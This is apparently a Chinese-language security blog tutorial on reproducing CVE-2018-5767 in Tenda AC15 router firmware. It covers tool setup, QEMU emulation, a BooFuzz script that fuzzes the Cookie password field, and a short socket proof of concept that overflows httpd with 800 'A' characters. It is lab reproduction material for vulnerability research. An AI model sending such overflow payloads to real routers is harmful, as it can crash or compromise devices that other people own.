协议模糊测试实战: CVE-2018-5767 复现
19

在 IoT 安全研究中,模糊测试(Fuzzing)是发现未知漏洞的高效手段。本文将介绍如何在 Ubuntu 24.04 环境下配置相关工具,并利用 BooFuzz 框架复现 Tenda AC15 路由器的远程代码执行漏洞(CVE-2018-5767)。

1. 环境配置 (Ubuntu 24.04)

1.1 系统基础与 Python 环境

Ubuntu 24.04 对全局 Python 包管理有严格限制(PEP 668),建议使用虚拟环境。

# 更新系统
sudo apt update && sudo apt upgrade -y

# 安装基础工具
sudo apt install -y build-essential libssl-dev git curl python3-pip python3-venv python3-dev

虚拟环境开启。

安装 venv 模块:在 Ubuntu 上需要先执行 sudo apt install python3-venv。

创建:使用 python3 -m venv 文件夹名。

激活(开启):使用 source 文件夹名/bin/activate。这是你所有后续 pip install 和运行脚本的前提。

退出:直接输入 deactivate。

1.2 安装 Boofuzz

Boofuzz 是 Sulley 框架的后续版本。你可以选择快速安装或从 GitHub 源码安装。

方式 A:通过 PyPI 快速安装

# 激活环境后执行
pip install --upgrade pip
pip install boofuzz

方式 B:从 GitHub 源码安装

如果你需要查看源码或使用最新特性,可以直接从 jtpereyda/boofuzz 克隆:

# 安装编译依赖
sudo apt install -y libffi-dev swig

# 克隆并安装
git clone [https://github.com/jtpereyda/boofuzz.git](https://github.com/jtpereyda/boofuzz.git)
cd boofuzz
pip install .

1.3 安装 Binwalk

Binwalk 用于分析和提取固件镜像。为了支持完整提取功能(-e),需要安装一系列解压工具。

# 安装 binwalk 及其提取依赖
sudo apt install -y binwalk mtd-utils gzip bzip2 tar arj p7zip-full \
    p7zip-desktop lzma-alone squashfs-tools sleuthkit dumpetch cpio rsync

2. 漏洞背景与原理 (CVE-2018-5767)

该漏洞源于 Tenda AC15 路由器的 httpd 服务在处理 HTTP 请求头中 Cookiepassword 字段时,使用了未进行边界检查的函数(如 sscanfstrcpy),导致栈溢出。攻击者可以通过构造超长的 password 字符串来劫持控制流。

3. 复现环境准备

  • 固件版本: Tenda AC15 V15.03.05.19

  • 模拟工具: qemu-arm-static

  • 辅助工具: IDA Pro (用于静态分析定位漏洞偏移)

4. BooFuzz 脚本编写

在激活的虚拟环境中编写脚本,定义 HTTP 请求结构。

4.1 定义请求结构与 Fuzz 会话

from boofuzz import *

def define_http_request():
    s_initialize("tenda_http")
    
    # HTTP 请求行
    s_static("GET /goform/addressRule HTTP/1.1\r\n")
    s_static("Host: 192.168.0.1\r\n")
    
    # 关键点:构造漏洞触发点 Cookie 字段
    s_static("Cookie: ")
    s_static("password=")
    s_string("A" * 10, name="fuzz_password") # 目标 Fuzz 字段
    s_static("\r\n")
    
    s_static("Connection: close\r\n")
    s_static("\r\n")

def main():
    target_ip = "127.0.0.1" # QEMU 模拟地址
    target_port = 80
    
    session = Session(
        target=Target(connection=TCPSocketConnection(target_ip, target_port)),
    )

    define_http_request()
    session.connect(s_get("tenda_http"))
    session.fuzz()

if __name__ == "__main__":
    main()

5. 复现步骤

第一步:固件模拟

解压固件后,使用 chrootqemu-arm-static 启动 Web 服务:

sudo cp $(which qemu-arm-static) .
sudo chroot . ./qemu-arm-static ./bin/httpd

第二步:启动 BooFuzz 脚本

在另一个终端启动虚拟环境并运行脚本:

source ~/fuzzing_env/bin/activate
python fuzzer.py

访问 http://127.0.0.1:26002 可查看实时监控界面。

第三步:确认崩溃与验证 PoC

httpd 出现 Segmentation fault 时,记录当前的 Payload。典型的验证脚本如下:

import socket

# 发送 800 个 'A' 尝试触发溢出
payload = "GET /goform/addressRule HTTP/1.1\r\n"
payload += "Host: 127.0.0.1\r\n"
payload += "Cookie: password=" + "A" * 800 + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 80))
s.send(payload.encode())
s.close()

协议模糊测试实战: CVE-2018-5767 复现
https://www.kiki1e.top/archives/cve-2018-5767fu-xian-fen-xi
作者
kiki1e
发布于
更新于
许可